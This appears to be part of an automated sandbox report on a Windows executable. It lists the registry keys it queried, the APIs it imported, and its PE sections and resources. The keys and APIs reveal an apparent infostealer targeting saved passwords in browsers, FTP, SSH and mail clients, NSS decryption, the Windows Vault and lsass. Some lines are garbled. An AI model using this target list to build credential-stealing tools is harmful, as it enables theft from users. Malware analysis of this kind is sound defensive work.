HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
\x8ad0\x23bEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\75.0 (x86 en-GB)\Main
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\75.0 (x86 en-GB)\Main\Install Directory
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\ComodoGroup\IceDragon\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Apple Computer, Inc.\Safari
HKEY_LOCAL_MACHINE\SOFTWARE\K-Meleon
HKEY_LOCAL_MACHINE\SOFTWARE\mozilla.org\SeaMonkey
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Flock
HKEY_CURRENT_USER\Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
HKEY_LOCAL_MACHINE\SOFTWARE\8pecxstudios\Cyberfox86
HKEY_LOCAL_MACHINE\SOFTWARE\8pecxstudios\Cyberfox
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Pale Moon
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Waterfox
HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
HKEY_CURRENT_USER\Software\Ghisler\Total Commander
HKEY_CURRENT_USER\Software
HKEY_CURRENT_USER\Software\7-Zip
HKEY_CURRENT_USER\Software\Adobe
HKEY_CURRENT_USER\Software\AppDataLow
HKEY_CURRENT_USER\Software\Clients
HKEY_CURRENT_USER\Software\Google
HKEY_CURRENT_USER\Software\IM Providers
HKEY_CURRENT_USER\Software\JavaSoft
HKEY_CURRENT_USER\Software\Macromedia
HKEY_CURRENT_USER\Software\Microsoft
HKEY_CURRENT_USER\Software\Mozilla
HKEY_CURRENT_USER\Software\Netscape
HKEY_CURRENT_USER\Software\ODBC
HKEY_CURRENT_USER\Software\Piriform
HKEY_CURRENT_USER\Software\Policies
HKEY_CURRENT_USER\Software\Python
HKEY_CURRENT_USER\Software\WinRAR
HKEY_CURRENT_USER\Software\WinRAR SFX
HKEY_CURRENT_USER\Software\Wow6432Node
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
HKEY_CURRENT_USER\Software\Bitvise\BvSshClient
HKEY_CURRENT_USER\Software\VanDyke\SecureFX
HKEY_LOCAL_MACHINE\Software\NCH Software\Fling\Accounts
HKEY_CURRENT_USER\Software\NCH Software\Fling\Accounts
HKEY_LOCAL_MACHINE\Software\NCH Software\ClassicFTP\FTPAccounts
HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
HKEY_LOCAL_MACHINE\Software\9bis.com\KiTTY\Sessions
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird\60.5.0 (en-US)\Main
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\60.5.0 (en-US)\Main\Install Directory
HKEY_CURRENT_USER\Software\IncrediMail\Identities
HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities
HKEY_CURRENT_USER\Software\Martin Prikryl
HKEY_LOCAL_MACHINE\Software\Martin Prikryl
HKEY_LOCAL_MACHINE\SOFTWARE\Postbox\Postbox
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\FossaMail
HKEY_CURRENT_USER\Software\WinChips\UserAccounts
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
HKEY_CURRENT_USER\SOFTWARE\flaska.net\trojita
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LanmanWorkstation\Parameters\RpcCacheTimeout
HKEY_LOCAL_MACHINE\\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\x41e\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\xfffd\x456\xfffd\x414\xfffd\xfffd\xfffd\xfffd\xfffd\x419\xfffd\xfffd\xfffd\x419\xfffd\xfffd\x44f\xfffd\xfffd
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\WOW64
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_USERS\S-1-5-18
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_USERS\.DEFAULT\Environment
HKEY_USERS\.DEFAULT\Volatile Environment
HKEY_USERS\.DEFAULT\Volatile Environment\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
\x8ad0\x23bEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\75.0 (x86 en-GB)\Main\Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird\60.5.0 (en-US)\Main\Install Directory
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LanmanWorkstation\Parameters\RpcCacheTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\WOW64
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
kernel32.dll.FlsAlloc
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.FlsFree
kernelbase.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.ProcessIdToSessionId
imm32.dll.ImmCreateContext
imm32.dll.ImmDestroyContext
imm32.dll.ImmNotifyIME
imm32.dll.ImmAssociateContext
imm32.dll.ImmReleaseContext
imm32.dll.ImmGetContext
imm32.dll.ImmGetCompositionStringA
imm32.dll.ImmSetCompositionStringA
imm32.dll.ImmGetCompositionStringW
imm32.dll.ImmSetCompositionStringW
imm32.dll.ImmSetCandidateWindow
kernel32.dll.GetDiskFreeSpaceExA
oleaut32.dll.VariantChangeTypeEx
oleaut32.dll.VarNeg
oleaut32.dll.VarNot
oleaut32.dll.VarAdd
oleaut32.dll.VarSub
oleaut32.dll.VarMul
oleaut32.dll.VarDiv
oleaut32.dll.VarIdiv
oleaut32.dll.VarMod
oleaut32.dll.VarAnd
oleaut32.dll.VarOr
oleaut32.dll.VarXor
oleaut32.dll.VarCmp
oleaut32.dll.VarI4FromStr
oleaut32.dll.VarR4FromStr
oleaut32.dll.VarR8FromStr
oleaut32.dll.VarDateFromStr
oleaut32.dll.VarCyFromStr
oleaut32.dll.VarBoolFromStr
oleaut32.dll.VarBstrFromCy
oleaut32.dll.VarBstrFromDate
oleaut32.dll.VarBstrFromBool
user32.dll.GetMonitorInfoA
user32.dll.GetSystemMetrics
user32.dll.EnumDisplayMonitors
user32.dll.AnimateWindow
comctl32.dll.InitializeFlatSB
comctl32.dll.UninitializeFlatSB
comctl32.dll.FlatSB_GetScrollProp
comctl32.dll.FlatSB_SetScrollProp
comctl32.dll.FlatSB_EnableScrollBar
comctl32.dll.FlatSB_ShowScrollBar
comctl32.dll.FlatSB_GetScrollRange
comctl32.dll.FlatSB_GetScrollInfo
comctl32.dll.FlatSB_GetScrollPos
comctl32.dll.FlatSB_SetScrollPos
comctl32.dll.FlatSB_SetScrollInfo
comctl32.dll.FlatSB_SetScrollRange
user32.dll.SetLayeredWindowAttributes
kernel32.dll.GetSystemTimeAsFileTime
kernel32.dll.FileTimeToSystemTime
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
cryptsp.dll.CryptReleaseContext
nss3.dll.NSS_Init
nss3.dll.NSS_Shutdown
nss3.dll.PK11_GetInternalKeySlot
nss3.dll.PK11_FreeSlot
nss3.dll.PK11_Authenticate
nss3.dll.PK11SDR_Decrypt
nss3.dll.PK11_CheckUserPassword
nss3.dll.SECITEM_FreeItem
kernel32.dll.InitializeCriticalSectionEx
softokn3.dll.NSC_GetFunctionList
softokn3.dll.NSC_ModuleDBFunc
freebl3.dll.FREEBL_GetVector
cryptbase.dll.SystemFunction001
cryptbase.dll.SystemFunction002
cryptbase.dll.SystemFunction003
cryptbase.dll.SystemFunction004
cryptbase.dll.SystemFunction005
cryptbase.dll.SystemFunction028
cryptbase.dll.SystemFunction029
cryptbase.dll.SystemFunction034
cryptbase.dll.SystemFunction036
cryptbase.dll.SystemFunction040
cryptbase.dll.SystemFunction041
vaultcli.dll.VaultEnumerateItems
vaultcli.dll.VaultEnumerateVaults
vaultcli.dll.VaultFree
vaultcli.dll.VaultGetItem
vaultcli.dll.VaultOpenVault
vaultcli.dll.VaultCloseVault
nss3.dll.sqlite3_finalize
nss3.dll.sqlite3_step
nss3.dll.sqlite3_close
nss3.dll.sqlite3_column_text
nss3.dll.sqlite3_open16
nss3.dll.sqlite3_prepare_v2
sechost.dll.LookupAccountSidLocalW
netapi32.dll.NetUserGetInfo
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptSetKeyParam
cryptsp.dll.CryptDecrypt
cryptsp.dll.CryptDestroyKey
"C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.exe"
C:\Windows\system32\lsass.exe
300134BE5A3EACE282B993B6
VaultSvc

BinGraph Download graph

PE Information

Image Base Entry Point Reported Checksum Actual Checksum Minimum OS Version Compile Time Import Hash Icon Icon Exact Hash Icon Similarity Hash
0x00400000 0x00457b6c 0x00000000 0x0009e7b7 4.0 1992-06-19 22:22:17 24f26e153c9b6068c0a4770547eb6d9e 4cf760beac787663dc2db01e7654eb2e eb7d7358ac4a8bf108c694ceccf9017d

Sections

Name RAW Address Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
CODE 0x00000400 0x00001000 0x00056bb4 0x00056c00 IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ 6.53
DATA 0x00057000 0x00058000 0x0000d8e4 0x0000da00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 4.61
BSS 0x00064a00 0x00066000 0x00000e49 0x00000000 IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 0.00
.idata 0x00064a00 0x00067000 0x00001ffe 0x00002000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 5.02
.tls 0x00066a00 0x00069000 0x00000010 0x00000000 IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 0.00
.rdata 0x00066a00 0x0006a000 0x00000018 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ 0.21
.reloc 0x00066c00 0x0006b000 0x00006994 0x00006a00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ 6.65
.rsrc 0x0006d600 0x00072000 0x00027274 0x00027400 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ 7.15

Resources

Name Offset Size Language Sub-language Entropy File type
RT_CURSOR 0x00076318 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076318 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076318 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076318 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076318 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076318 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_CURSOR 0x00076318 0x00000134 LANG_NEUTRAL SUBLANG_NEUTRAL 2.92 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_BITMAP 0x00077680 0x000000e8 LANG_NEUTRAL SUBLANG_NEUTRAL 2.85 None
RT_ICON 0x00077768 0x00000128 LANG_ENGLISH SUBLANG_ENGLISH_US 3.32 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
